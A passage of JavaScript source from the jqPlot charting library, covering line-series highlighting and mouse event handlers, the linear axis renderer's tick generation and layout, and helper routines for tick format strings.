opts.markerOptions); } } } } else { if (this.renderer.bands.show) { var bdat; var bopts = $.extend(true, {}, opts); if (this.renderer.bands.showLines) { bdat = (this.renderer.smooth) ? this.renderer._hiBandSmoothedData : this.renderer._hiBandGridData; this.renderer.shapeRenderer.draw(ctx, bdat, opts); bdat = (this.renderer.smooth) ? this.renderer._lowBandSmoothedData : this.renderer._lowBandGridData; this.renderer.shapeRenderer.draw(ctx, bdat, bopts); } if (this.renderer.bands.fill) { if (this.renderer.smooth) { bdat = this.renderer._hiBandSmoothedData.concat(this.renderer._lowBandSmoothedData.reverse()); } else { bdat = this.renderer._hiBandGridData.concat(this.renderer._lowBandGridData.reverse()); } this._areaPoints = bdat; bopts.closePath = true; bopts.fill = true; bopts.fillStyle = this.renderer.bands.fillColor; this.renderer.shapeRenderer.draw(ctx, bdat, bopts); } } if (shadow) { this.renderer.shadowRenderer.draw(ctx, gd, opts); } this.renderer.shapeRenderer.draw(ctx, gd, opts); } } // calculate the bounding box var xmin = xmax = ymin = ymax = null; for (i=0; i<this._areaPoints.length; i++) { var p = this._areaPoints[i]; if (xmin > p[0] || xmin == null) { xmin = p[0]; } if (ymax < p[1] || ymax == null) { ymax = p[1]; } if (xmax < p[0] || xmax == null) { xmax = p[0]; } if (ymin > p[1] || ymin == null) { ymin = p[1]; } } if (this.type === 'line' && this.renderer.bands.show) { ymax = this._yaxis.series_u2p(this.renderer.bands._min); ymin = this._yaxis.series_u2p(this.renderer.bands._max); } this._boundingBox = [[xmin, ymax], [xmax, ymin]]; // now draw the markers if (this.markerRenderer.show && !fill) { if (this.renderer.smooth) { gd = this.gridData; } for (i=0; i<gd.length; i++) { if (gd[i][0] != null && gd[i][1] != null) { this.markerRenderer.draw(gd[i][0], gd[i][1], ctx, opts.markerOptions); } } } } ctx.restore(); }; $.jqplot.LineRenderer.prototype.drawShadow = function(ctx, gd, options) { // This is a no-op, shadows drawn with lines. }; // called with scope of plot. // make sure to not leave anything highlighted. function postInit(target, data, options) { for (var i=0; i<this.series.length; i++) { if (this.series[i].renderer.constructor == $.jqplot.LineRenderer) { // don't allow mouseover and mousedown at same time. if (this.series[i].highlightMouseOver) { this.series[i].highlightMouseDown = false; } } } } // called within context of plot // create a canvas which we can draw on. // insert it before the eventCanvas, so eventCanvas will still capture events. function postPlotDraw() { // Memory Leaks patch if (this.plugins.lineRenderer && this.plugins.lineRenderer.highlightCanvas) { this.plugins.lineRenderer.highlightCanvas.resetCanvas(); this.plugins.lineRenderer.highlightCanvas = null; } this.plugins.lineRenderer.highlightedSeriesIndex = null; this.plugins.lineRenderer.highlightCanvas = new $.jqplot.GenericCanvas(); this.eventCanvas._elem.before(this.plugins.lineRenderer.highlightCanvas.createElement(this._gridPadding, 'jqplot-lineRenderer-highlight-canvas', this._plotDimensions, this)); this.plugins.lineRenderer.highlightCanvas.setContext(); this.eventCanvas._elem.bind('mouseleave', {plot:this}, function (ev) { unhighlight(ev.data.plot); }); } function highlight (plot, sidx, pidx, points) { var s = plot.series[sidx]; var canvas = plot.plugins.lineRenderer.highlightCanvas; canvas._ctx.clearRect(0,0,canvas._ctx.canvas.width, canvas._ctx.canvas.height); s._highlightedPoint = pidx; plot.plugins.lineRenderer.highlightedSeriesIndex = sidx; var opts = {fillStyle: s.highlightColor}; if (s.type === 'line' && s.renderer.bands.show) { opts.fill = true; opts.closePath = true; } s.renderer.shapeRenderer.draw(canvas._ctx, points, opts); canvas = null; } function unhighlight (plot) { var canvas = plot.plugins.lineRenderer.highlightCanvas; canvas._ctx.clearRect(0,0, canvas._ctx.canvas.width, canvas._ctx.canvas.height); for (var i=0; i<plot.series.length; i++) { plot.series[i]._highlightedPoint = null; } plot.plugins.lineRenderer.highlightedSeriesIndex = null; plot.target.trigger('jqplotDataUnhighlight'); canvas = null; } function handleMove(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; var evt1 = jQuery.Event('jqplotDataMouseOver'); evt1.pageX = ev.pageX; evt1.pageY = ev.pageY; plot.target.trigger(evt1, ins); if (plot.series[ins[0]].highlightMouseOver && !(ins[0] == plot.plugins.lineRenderer.highlightedSeriesIndex)) { var evt = jQuery.Event('jqplotDataHighlight'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); highlight (plot, neighbor.seriesIndex, neighbor.pointIndex, neighbor.points); } } else if (neighbor == null) { unhighlight (plot); } } function handleMouseDown(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; if (plot.series[ins[0]].highlightMouseDown && !(ins[0] == plot.plugins.lineRenderer.highlightedSeriesIndex)) { var evt = jQuery.Event('jqplotDataHighlight'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); highlight (plot, neighbor.seriesIndex, neighbor.pointIndex, neighbor.points); } } else if (neighbor == null) { unhighlight (plot); } } function handleMouseUp(ev, gridpos, datapos, neighbor, plot) { var idx = plot.plugins.lineRenderer.highlightedSeriesIndex; if (idx != null && plot.series[idx].highlightMouseDown) { unhighlight(plot); } } function handleClick(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; var evt = jQuery.Event('jqplotDataClick'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); } } function handleRightClick(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; var idx = plot.plugins.lineRenderer.highlightedSeriesIndex; if (idx != null && plot.series[idx].highlightMouseDown) { unhighlight(plot); } var evt = jQuery.Event('jqplotDataRightClick'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); } } // class: $.jqplot.LinearAxisRenderer // The default jqPlot axis renderer, creating a numeric axis. $.jqplot.LinearAxisRenderer = function() { }; // called with scope of axis object. $.jqplot.LinearAxisRenderer.prototype.init = function(options){ // prop: breakPoints // EXPERIMENTAL!! Use at your own risk! // Works only with linear axes and the default tick renderer. // Array of [start, stop] points to create a broken axis. // Broken axes have a "jump" in them, which is an immediate // transition from a smaller value to a larger value. // Currently, axis ticks MUST be manually assigned if using breakPoints // by using the axis ticks array option. this.breakPoints = null; // prop: breakTickLabel // Label to use at the axis break if breakPoints are specified. this.breakTickLabel = "≈"; // prop: drawBaseline // True to draw the axis baseline. this.drawBaseline = true; // prop: baselineWidth // width of the baseline in pixels. this.baselineWidth = null; // prop: baselineColor // CSS color spec for the baseline. this.baselineColor = null; // prop: forceTickAt0 // This will ensure that there is always a tick mark at 0. // If data range is strictly positive or negative, // this will force 0 to be inside the axis bounds unless // the appropriate axis pad (pad, padMin or padMax) is set // to 0, then this will force an axis min or max value at 0. // This has know effect when any of the following options // are set: autoscale, min, max, numberTicks or tickInterval. this.forceTickAt0 = false; // prop: forceTickAt100 // This will ensure that there is always a tick mark at 100. // If data range is strictly above or below 100, // this will force 100 to be inside the axis bounds unless // the appropriate axis pad (pad, padMin or padMax) is set // to 0, then this will force an axis min or max value at 100. // This has know effect when any of the following options // are set: autoscale, min, max, numberTicks or tickInterval. this.forceTickAt100 = false; // prop: tickInset // Controls the amount to inset the first and last ticks from // the edges of the grid, in multiples of the tick interval. // 0 is no inset, 0.5 is one half a tick interval, 1 is a full // tick interval, etc. this.tickInset = 0; // prop: minorTicks // Number of ticks to add between "major" ticks. // Major ticks are ticks supplied by user or auto computed. // Minor ticks cannot be created by user. this.minorTicks = 0; // prop: alignTicks // true to align tick marks across opposed axes // such as from the y2axis to yaxis. this.alignTicks = false; this._autoFormatString = ''; this._overrideFormatString = false; this._scalefact = 1.0; $.extend(true, this, options); if (this.breakPoints) { if (!$.isArray(this.breakPoints)) { this.breakPoints = null; } else if (this.breakPoints.length < 2 || this.breakPoints[1] <= this.breakPoints[0]) { this.breakPoints = null; } } if (this.numberTicks != null && this.numberTicks < 2) { this.numberTicks = 2; } this.resetDataBounds(); }; // called with scope of axis $.jqplot.LinearAxisRenderer.prototype.draw = function(ctx, plot) { if (this.show) { // populate the axis label and value properties. // createTicks is a method on the renderer, but // call it within the scope of the axis. this.renderer.createTicks.call(this, plot); // fill a div with axes labels in the right direction. // Need to pregenerate each axis to get its bounds and // position it and the labels correctly on the plot. var dim=0; var temp; // Added for theming. if (this._elem) { // Memory Leaks patch //this._elem.empty(); this._elem.emptyForce(); this._elem = null; } this._elem = $(document.createElement('div')); this._elem.addClass('jqplot-axis jqplot-'+this.name); this._elem.css('position', 'absolute'); if (this.name == 'xaxis' || this.name == 'x2axis') { this._elem.width(this._plotDimensions.width); } else { this._elem.height(this._plotDimensions.height); } // create a _label object. this.labelOptions.axis = this.name; this._label = new this.labelRenderer(this.labelOptions); if (this._label.show) { var elem = this._label.draw(ctx, plot); elem.appendTo(this._elem); elem = null; } var t = this._ticks; var tick; for (var i=0; i<t.length; i++) { tick = t[i]; if (tick.show && tick.showLabel && (!tick.isMinorTick || this.showMinorTicks)) { this._elem.append(tick.draw(ctx, plot)); } } tick = null; t = null; } return this._elem; }; // called with scope of an axis $.jqplot.LinearAxisRenderer.prototype.reset = function() { this.min = this._options.min; this.max = this._options.max; this.tickInterval = this._options.tickInterval; this.numberTicks = this._options.numberTicks; this._autoFormatString = ''; if (this._overrideFormatString && this.tickOptions && this.tickOptions.formatString) { this.tickOptions.formatString = ''; } // this._ticks = this.__ticks; }; // called with scope of axis $.jqplot.LinearAxisRenderer.prototype.set = function() { var dim = 0; var temp; var w = 0; var h = 0; var lshow = (this._label == null) ? false : this._label.show; if (this.show) { var t = this._ticks; var tick; for (var i=0; i<t.length; i++) { tick = t[i]; if (!tick._breakTick && tick.show && tick.showLabel && (!tick.isMinorTick || this.showMinorTicks)) { if (this.name == 'xaxis' || this.name == 'x2axis') { temp = tick._elem.outerHeight(true); } else { temp = tick._elem.outerWidth(true); } if (temp > dim) { dim = temp; } } } tick = null; t = null; if (lshow) { w = this._label._elem.outerWidth(true); h = this._label._elem.outerHeight(true); } if (this.name == 'xaxis') { dim = dim + h; this._elem.css({'height':dim+'px', left:'0px', bottom:'0px'}); } else if (this.name == 'x2axis') { dim = dim + h; this._elem.css({'height':dim+'px', left:'0px', top:'0px'}); } else if (this.name == 'yaxis') { dim = dim + w; this._elem.css({'width':dim+'px', left:'0px', top:'0px'}); if (lshow && this._label.constructor == $.jqplot.AxisLabelRenderer) { this._label._elem.css('width', w+'px'); } } else { dim = dim + w; this._elem.css({'width':dim+'px', right:'0px', top:'0px'}); if (lshow && this._label.constructor == $.jqplot.AxisLabelRenderer) { this._label._elem.css('width', w+'px'); } } } }; // called with scope of axis $.jqplot.LinearAxisRenderer.prototype.createTicks = function(plot) { // we're are operating on an axis here var ticks = this._ticks; var userTicks = this.ticks; var name = this.name; // databounds were set on axis initialization. var db = this._dataBounds; var dim = (this.name.charAt(0) === 'x') ? this._plotDimensions.width : this._plotDimensions.height; var interval; var min, max; var pos1, pos2; var tt, i; // get a copy of user's settings for min/max. var userMin = this.min; var userMax = this.max; var userNT = this.numberTicks; var userTI = this.tickInterval; var threshold = 30; this._scalefact = (Math.max(dim, threshold+1) - threshold)/300.0; // if we already have ticks, use them. // ticks must be in order of increasing value. if (userTicks.length) { // ticks could be 1D or 2D array of [val, val, ,,,] or [[val, label], [val, label], ...] or mixed for (i=0; i<userTicks.length; i++){ var ut = userTicks[i]; var t = new this.tickRenderer(this.tickOptions); if ($.isArray(ut)) { t.value = ut[0]; if (this.breakPoints) { if (ut[0] == this.breakPoints[0]) { t.label = this.breakTickLabel; t._breakTick = true; t.showGridline = false; t.showMark = false; } else if (ut[0] > this.breakPoints[0] && ut[0] <= this.breakPoints[1]) { t.show = false; t.showGridline = false; t.label = ut[1]; } else { t.label = ut[1]; } } else { t.label = ut[1]; } t.setTick(ut[0], this.name); this._ticks.push(t); } else if ($.isPlainObject(ut)) { $.extend(true, t, ut); t.axis = this.name; this._ticks.push(t); } else { t.value = ut; if (this.breakPoints) { if (ut == this.breakPoints[0]) { t.label = this.breakTickLabel; t._breakTick = true; t.showGridline = false; t.showMark = false; } else if (ut > this.breakPoints[0] && ut <= this.breakPoints[1]) { t.show = false; t.showGridline = false; } } t.setTick(ut, this.name); this._ticks.push(t); } } this.numberTicks = userTicks.length; this.min = this._ticks[0].value; this.max = this._ticks[this.numberTicks-1].value; this.tickInterval = (this.max - this.min) / (this.numberTicks - 1); } // we don't have any ticks yet, let's make some! else { if (name == 'xaxis' || name == 'x2axis') { dim = this._plotDimensions.width; } else { dim = this._plotDimensions.height; } var _numberTicks = this.numberTicks; // if aligning this axis, use number of ticks from previous axis. // Do I need to reset somehow if alignTicks is changed and then graph is replotted?? if (this.alignTicks) { if (this.name === 'x2axis' && plot.axes.xaxis.show) { _numberTicks = plot.axes.xaxis.numberTicks; } else if (this.name.charAt(0) === 'y' && this.name !== 'yaxis' && this.name !== 'yMidAxis' && plot.axes.yaxis.show) { _numberTicks = plot.axes.yaxis.numberTicks; } } min = ((this.min != null) ? this.min : db.min); max = ((this.max != null) ? this.max : db.max); var range = max - min; var rmin, rmax; var temp; if (this.tickOptions == null || !this.tickOptions.formatString) { this._overrideFormatString = true; } // Doing complete autoscaling if (this.min == null || this.max == null && this.tickInterval == null && !this.autoscale) { // Check if user must have tick at 0 or 100 and ensure they are in range. // The autoscaling algorithm will always place ticks at 0 and 100 if they are in range. if (this.forceTickAt0) { if (min > 0) { min = 0; } if (max < 0) { max = 0; } } if (this.forceTickAt100) { if (min > 100) { min = 100; } if (max < 100) { max = 100; } } var keepMin = false, keepMax = false; if (this.min != null) { keepMin = true; } else if (this.max != null) { keepMax = true; } // var threshold = 30; // var tdim = Math.max(dim, threshold+1); // this._scalefact = (tdim-threshold)/300.0; var ret = $.jqplot.LinearTickGenerator(min, max, this._scalefact, _numberTicks, keepMin, keepMax); // calculate a padded max and min, points should be less than these // so that they aren't too close to the edges of the plot. // User can adjust how much padding is allowed with pad, padMin and PadMax options. // If min or max is set, don't pad that end of axis. var tumin = (this.min != null) ? min : min + range*(this.padMin - 1); var tumax = (this.max != null) ? max : max - range*(this.padMax - 1); // if they're equal, we shouldn't have to do anything, right? // if (min <=tumin || max >= tumax) { if (min <tumin || max > tumax) { tumin = (this.min != null) ? min : min - range*(this.padMin - 1); tumax = (this.max != null) ? max : max + range*(this.padMax - 1); ret = $.jqplot.LinearTickGenerator(tumin, tumax, this._scalefact, _numberTicks, keepMin, keepMax); } this.min = ret[0]; this.max = ret[1]; // if numberTicks specified, it should return the same. this.numberTicks = ret[2]; this._autoFormatString = ret[3]; this.tickInterval = ret[4]; } // User has specified some axis scale related option, can use auto algorithm else { // if min and max are same, space them out a bit if (min == max) { var adj = 0.05; if (min > 0) { adj = Math.max(Math.log(min)/Math.LN10, 0.05); } min -= adj; max += adj; } // autoscale. Can't autoscale if min or max is supplied. // Will use numberTicks and tickInterval if supplied. Ticks // across multiple axes may not line up depending on how // bars are to be plotted. if (this.autoscale && this.min == null && this.max == null) { var rrange, ti, margin; var forceMinZero = false; var forceZeroLine = false; var intervals = {min:null, max:null, average:null, stddev:null}; // if any series are bars, or if any are fill to zero, and if this // is the axis to fill toward, check to see if we can start axis at zero. for (var i=0; i<this._series.length; i++) { var s = this._series[i]; var faname = (s.fillAxis == 'x') ? s._xaxis.name : s._yaxis.name; // check to see if this is the fill axis if (this.name == faname) { var vals = s._plotValues[s.fillAxis]; var vmin = vals[0]; var vmax = vals[0]; for (var j=1; j<vals.length; j++) { if (vals[j] < vmin) { vmin = vals[j]; } else if (vals[j] > vmax) { vmax = vals[j]; } } var dp = (vmax - vmin) / vmax; // is this sries a bar? if (s.renderer.constructor == $.jqplot.BarRenderer) { // if no negative values and could also check range. if (vmin >= 0 && (s.fillToZero || dp > 0.1)) { forceMinZero = true; } else { forceMinZero = false; if (s.fill && s.fillToZero && vmin < 0 && vmax > 0) { forceZeroLine = true; } else { forceZeroLine = false; } } } // if not a bar and filling, use appropriate method. else if (s.fill) { if (vmin >= 0 && (s.fillToZero || dp > 0.1)) { forceMinZero = true; } else if (vmin < 0 && vmax > 0 && s.fillToZero) { forceMinZero = false; forceZeroLine = true; } else { forceMinZero = false; forceZeroLine = false; } } // if not a bar and not filling, only change existing state // if it doesn't make sense else if (vmin < 0) { forceMinZero = false; } } } // check if we need make axis min at 0. if (forceMinZero) { // compute number of ticks this.numberTicks = 2 + Math.ceil((dim-(this.tickSpacing-1))/this.tickSpacing); this.min = 0; userMin = 0; // what order is this range? // what tick interval does that give us? ti = max/(this.numberTicks-1); temp = Math.pow(10, Math.abs(Math.floor(Math.log(ti)/Math.LN10))); if (ti/temp == parseInt(ti/temp, 10)) { ti += temp; } this.tickInterval = Math.ceil(ti/temp) * temp; this.max = this.tickInterval * (this.numberTicks - 1); } // check if we need to make sure there is a tick at 0. else if (forceZeroLine) { // compute number of ticks this.numberTicks = 2 + Math.ceil((dim-(this.tickSpacing-1))/this.tickSpacing); var ntmin = Math.ceil(Math.abs(min)/range*(this.numberTicks-1)); var ntmax = this.numberTicks - 1 - ntmin; ti = Math.max(Math.abs(min/ntmin), Math.abs(max/ntmax)); temp = Math.pow(10, Math.abs(Math.floor(Math.log(ti)/Math.LN10))); this.tickInterval = Math.ceil(ti/temp) * temp; this.max = this.tickInterval * ntmax; this.min = -this.tickInterval * ntmin; } // if nothing else, do autoscaling which will try to line up ticks across axes. else { if (this.numberTicks == null){ if (this.tickInterval) { this.numberTicks = 3 + Math.ceil(range / this.tickInterval); } else { this.numberTicks = 2 + Math.ceil((dim-(this.tickSpacing-1))/this.tickSpacing); } } if (this.tickInterval == null) { // get a tick interval ti = range/(this.numberTicks - 1); if (ti < 1) { temp = Math.pow(10, Math.abs(Math.floor(Math.log(ti)/Math.LN10))); } else { temp = 1; } this.tickInterval = Math.ceil(ti*temp*this.pad)/temp; } else { temp = 1 / this.tickInterval; } // try to compute a nicer, more even tick interval // temp = Math.pow(10, Math.floor(Math.log(ti)/Math.LN10)); // this.tickInterval = Math.ceil(ti/temp) * temp; rrange = this.tickInterval * (this.numberTicks - 1); margin = (rrange - range)/2; if (this.min == null) { this.min = Math.floor(temp*(min-margin))/temp; } if (this.max == null) { this.max = this.min + rrange; } } // Compute a somewhat decent format string if it is needed. // get precision of interval and determine a format string. var sf = $.jqplot.getSignificantFigures(this.tickInterval); var fstr; // if we have only a whole number, use integer formatting if (sf.digitsLeft >= sf.significantDigits) { fstr = '%d'; } else { var temp = Math.max(0, 5 - sf.digitsLeft); temp = Math.min(temp, sf.digitsRight); fstr = '%.'+ temp + 'f'; } this._autoFormatString = fstr; } // Use the default algorithm which pads each axis to make the chart // centered nicely on the grid. else { rmin = (this.min != null) ? this.min : min - range*(this.padMin - 1); rmax = (this.max != null) ? this.max : max + range*(this.padMax - 1); range = rmax - rmin; if (this.numberTicks == null){ // if tickInterval is specified by user, we will ignore computed maximum. // max will be equal or greater to fit even # of ticks. if (this.tickInterval != null) { this.numberTicks = Math.ceil((rmax - rmin)/this.tickInterval)+1; } else if (dim > 100) { this.numberTicks = parseInt(3+(dim-100)/75, 10); } else { this.numberTicks = 2; } } if (this.tickInterval == null) { this.tickInterval = range / (this.numberTicks-1); } if (this.max == null) { rmax = rmin + this.tickInterval*(this.numberTicks - 1); } if (this.min == null) { rmin = rmax - this.tickInterval*(this.numberTicks - 1); } // get precision of interval and determine a format string. var sf = $.jqplot.getSignificantFigures(this.tickInterval); var fstr; // if we have only a whole number, use integer formatting if (sf.digitsLeft >= sf.significantDigits) { fstr = '%d'; } else { var temp = Math.max(0, 5 - sf.digitsLeft); temp = Math.min(temp, sf.digitsRight); fstr = '%.'+ temp + 'f'; } this._autoFormatString = fstr; this.min = rmin; this.max = rmax; } if (this.renderer.constructor == $.jqplot.LinearAxisRenderer && this._autoFormatString == '') { // fix for misleading tick display with small range and low precision. range = this.max - this.min; // figure out precision var temptick = new this.tickRenderer(this.tickOptions); // use the tick formatString or, the default. var fs = temptick.formatString || $.jqplot.config.defaultTickFormatString; var fs = fs.match($.jqplot.sprintf.regex)[0]; var precision = 0; if (fs) { if (fs.search(/[fFeEgGpP]/) > -1) { var m = fs.match(/\%\.(\d{0,})?[eEfFgGpP]/); if (m) { precision = parseInt(m[1], 10); } else { precision = 6; } } else if (fs.search(/[di]/) > -1) { precision = 0; } // fact will be <= 1; var fact = Math.pow(10, -precision); if (this.tickInterval < fact) { // need to correct underrange if (userNT == null && userTI == null) { this.tickInterval = fact; if (userMax == null && userMin == null) { // this.min = Math.floor((this._dataBounds.min - this.tickInterval)/fact) * fact; this.min = Math.floor(this._dataBounds.min/fact) * fact; if (this.min == this._dataBounds.min) { this.min = this._dataBounds.min - this.tickInterval; } // this.max = Math.ceil((this._dataBounds.max + this.tickInterval)/fact) * fact; this.max = Math.ceil(this._dataBounds.max/fact) * fact; if (this.max == this._dataBounds.max) { this.max = this._dataBounds.max + this.tickInterval; } var n = (this.max - this.min)/this.tickInterval; n = n.toFixed(11); n = Math.ceil(n); this.numberTicks = n + 1; } else if (userMax == null) { // add one tick for top of range. var n = (this._dataBounds.max - this.min) / this.tickInterval; n = n.toFixed(11); this.numberTicks = Math.ceil(n) + 2; this.max = this.min + this.tickInterval * (this.numberTicks-1); } else if (userMin == null) { // add one tick for bottom of range. var n = (this.max - this._dataBounds.min) / this.tickInterval; n = n.toFixed(11); this.numberTicks = Math.ceil(n) + 2; this.min = this.max - this.tickInterval * (this.numberTicks-1); } else { // calculate a number of ticks so max is within axis scale this.numberTicks = Math.ceil((userMax - userMin)/this.tickInterval) + 1; // if user's min and max don't fit evenly in ticks, adjust. // This takes care of cases such as user min set to 0, max set to 3.5 but tick // format string set to %d (integer ticks) this.min = Math.floor(userMin*Math.pow(10, precision))/Math.pow(10, precision); this.max = Math.ceil(userMax*Math.pow(10, precision))/Math.pow(10, precision); // this.max = this.min + this.tickInterval*(this.numberTicks-1); this.numberTicks = Math.ceil((this.max - this.min)/this.tickInterval) + 1; } } } } } } if (this._overrideFormatString && this._autoFormatString != '') { this.tickOptions = this.tickOptions || {}; this.tickOptions.formatString = this._autoFormatString; } var t, to; for (var i=0; i<this.numberTicks; i++){ tt = this.min + i * this.tickInterval; t = new this.tickRenderer(this.tickOptions); // var t = new $.jqplot.AxisTickRenderer(this.tickOptions); t.setTick(tt, this.name); this._ticks.push(t); if (i < this.numberTicks - 1) { for (var j=0; j<this.minorTicks; j++) { tt += this.tickInterval/(this.minorTicks+1); to = $.extend(true, {}, this.tickOptions, {name:this.name, value:tt, label:'', isMinorTick:true}); t = new this.tickRenderer(to); this._ticks.push(t); } } t = null; } } if (this.tickInset) { this.min = this.min - this.tickInset * this.tickInterval; this.max = this.max + this.tickInset * this.tickInterval; } ticks = null; }; // Used to reset just the values of the ticks and then repack, which will // recalculate the positioning functions. It is assuemd that the // number of ticks is the same and the values of the new array are at the // proper interval. // This method needs to be called with the scope of an axis object, like: // // > plot.axes.yaxis.renderer.resetTickValues.call(plot.axes.yaxis, yarr); // $.jqplot.LinearAxisRenderer.prototype.resetTickValues = function(opts) { if ($.isArray(opts) && opts.length == this._ticks.length) { var t; for (var i=0; i<opts.length; i++) { t = this._ticks[i]; t.value = opts[i]; t.label = t.formatter(t.formatString, opts[i]); t.label = t.prefix + t.label; t._elem.html(t.label); } t = null; this.min = $.jqplot.arrayMin(opts); this.max = $.jqplot.arrayMax(opts); this.pack(); } // Not implemented yet. // else if ($.isPlainObject(opts)) { // // } }; // called with scope of axis $.jqplot.LinearAxisRenderer.prototype.pack = function(pos, offsets) { // Add defaults for repacking from resetTickValues function. pos = pos || {}; offsets = offsets || this._offsets; var ticks = this._ticks; var max = this.max; var min = this.min; var offmax = offsets.max; var offmin = offsets.min; var lshow = (this._label == null) ? false : this._label.show; for (var p in pos) { this._elem.css(p, pos[p]); } this._offsets = offsets; // pixellength will be + for x axes and - for y axes becasue pixels always measured from top left. var pixellength = offmax - offmin; var unitlength = max - min; // point to unit and unit to point conversions references to Plot DOM element top left corner. if (this.breakPoints) { unitlength = unitlength - this.breakPoints[1] + this.breakPoints[0]; this.p2u = function(p){ return (p - offmin) * unitlength / pixellength + min; }; this.u2p = function(u){ if (u > this.breakPoints[0] && u < this.breakPoints[1]){ u = this.breakPoints[0]; } if (u <= this.breakPoints[0]) { return (u - min) * pixellength / unitlength + offmin; } else { return (u - this.breakPoints[1] + this.breakPoints[0] - min) * pixellength / unitlength + offmin; } }; if (this.name.charAt(0) == 'x'){ this.series_u2p = function(u){ if (u > this.breakPoints[0] && u < this.breakPoints[1]){ u = this.breakPoints[0]; } if (u <= this.breakPoints[0]) { return (u - min) * pixellength / unitlength; } else { return (u - this.breakPoints[1] + this.breakPoints[0] - min) * pixellength / unitlength; } }; this.series_p2u = function(p){ return p * unitlength / pixellength + min; }; } else { this.series_u2p = function(u){ if (u > this.breakPoints[0] && u < this.breakPoints[1]){ u = this.breakPoints[0]; } if (u >= this.breakPoints[1]) { return (u - max) * pixellength / unitlength; } else { return (u + this.breakPoints[1] - this.breakPoints[0] - max) * pixellength / unitlength; } }; this.series_p2u = function(p){ return p * unitlength / pixellength + max; }; } } else { this.p2u = function(p){ return (p - offmin) * unitlength / pixellength + min; }; this.u2p = function(u){ return (u - min) * pixellength / unitlength + offmin; }; if (this.name == 'xaxis' || this.name == 'x2axis'){ this.series_u2p = function(u){ return (u - min) * pixellength / unitlength; }; this.series_p2u = function(p){ return p * unitlength / pixellength + min; }; } else { this.series_u2p = function(u){ return (u - max) * pixellength / unitlength; }; this.series_p2u = function(p){ return p * unitlength / pixellength + max; }; } } if (this.show) { if (this.name == 'xaxis' || this.name == 'x2axis') { for (var i=0; i<ticks.length; i++) { var t = ticks[i]; if (t.show && t.showLabel) { var shim; if (t.constructor == $.jqplot.CanvasAxisTickRenderer && t.angle) { // will need to adjust auto positioning based on which axis this is. var temp = (this.name == 'xaxis') ? 1 : -1; switch (t.labelPosition) { case 'auto': // position at end if (temp * t.angle < 0) { shim = -t.getWidth() + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; } // position at start else { shim = -t._textRenderer.height * Math.sin(t._textRenderer.angle) / 2; } break; case 'end': shim = -t.getWidth() + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; break; case 'start': shim = -t._textRenderer.height * Math.sin(t._textRenderer.angle) / 2; break; case 'middle': shim = -t.getWidth()/2 + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; break; default: shim = -t.getWidth()/2 + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; break; } } else { shim = -t.getWidth()/2; } var val = this.u2p(t.value) + shim + 'px'; t._elem.css('left', val); t.pack(); } } if (lshow) { var w = this._label._elem.outerWidth(true); this._label._elem.css('left', offmin + pixellength/2 - w/2 + 'px'); if (this.name == 'xaxis') { this._label._elem.css('bottom', '0px'); } else { this._label._elem.css('top', '0px'); } this._label.pack(); } } else { for (var i=0; i<ticks.length; i++) { var t = ticks[i]; if (t.show && t.showLabel) { var shim; if (t.constructor == $.jqplot.CanvasAxisTickRenderer && t.angle) { // will need to adjust auto positioning based on which axis this is. var temp = (this.name == 'yaxis') ? 1 : -1; switch (t.labelPosition) { case 'auto': // position at end case 'end': if (temp * t.angle < 0) { shim = -t._textRenderer.height * Math.cos(-t._textRenderer.angle) / 2; } else { shim = -t.getHeight() + t._textRenderer.height * Math.cos(t._textRenderer.angle) / 2; } break; case 'start': if (t.angle > 0) { shim = -t._textRenderer.height * Math.cos(-t._textRenderer.angle) / 2; } else { shim = -t.getHeight() + t._textRenderer.height * Math.cos(t._textRenderer.angle) / 2; } break; case 'middle': // if (t.angle > 0) { // shim = -t.getHeight()/2 + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; // } // else { // shim = -t.getHeight()/2 - t._textRenderer.height * Math.sin(t._textRenderer.angle) / 2; // } shim = -t.getHeight()/2; break; default: shim = -t.getHeight()/2; break; } } else { shim = -t.getHeight()/2; } var val = this.u2p(t.value) + shim + 'px'; t._elem.css('top', val); t.pack(); } } if (lshow) { var h = this._label._elem.outerHeight(true); this._label._elem.css('top', offmax - pixellength/2 - h/2 + 'px'); if (this.name == 'yaxis') { this._label._elem.css('left', '0px'); } else { this._label._elem.css('right', '0px'); } this._label.pack(); } } } ticks = null; }; /** * The following code was generaously given to me a while back by Scott Prahl. * He did a good job at computing axes min, max and number of ticks for the * case where the user has not set any scale related parameters (tickInterval, * numberTicks, min or max). I had ignored this use case for a long time, * focusing on the more difficult case where user has set some option controlling * tick generation. Anyway, about time I got this into jqPlot. * Thanks Scott!! */ /** * Copyright (c) 2010 Scott Prahl * The next three routines are currently available for use in all personal * or commercial projects under both the MIT and GPL version 2.0 licenses. * This means that you can choose the license that best suits your project * and use it accordingly. */ // A good format string depends on the interval. If the interval is greater // than 1 then there is no need to show any decimal digits. If it is < 1.0, then // use the magnitude of the interval to determine the number of digits to show. function bestFormatString (interval) { var fstr; interval = Math.abs(interval); if (interval >= 10) { fstr = '%d'; } else if (interval > 1) { if (interval === parseInt(interval, 10)) { fstr = '%d'; } else { fstr = '%.1f'; } } else { var expv = -Math.floor(Math.log(interval)/Math.LN10); fstr = '%.' + expv + 'f'; } return fstr; } var _factors = [0.1, 0.2, 0.3, 0.4, 0.5, 0.8, 1, 2, 3, 4, 5]; var _getLowerFactor = function(f) { var i = _factors.indexOf(f); if (i > 0) { return _factors[i-1]; } else { return _factors[_factors.length - 1] / 100; } }; var _getHigherFactor = function(f) { var i = _factors.indexOf(f); if (i < _factors.length-1) { return _factors[i+1]; } 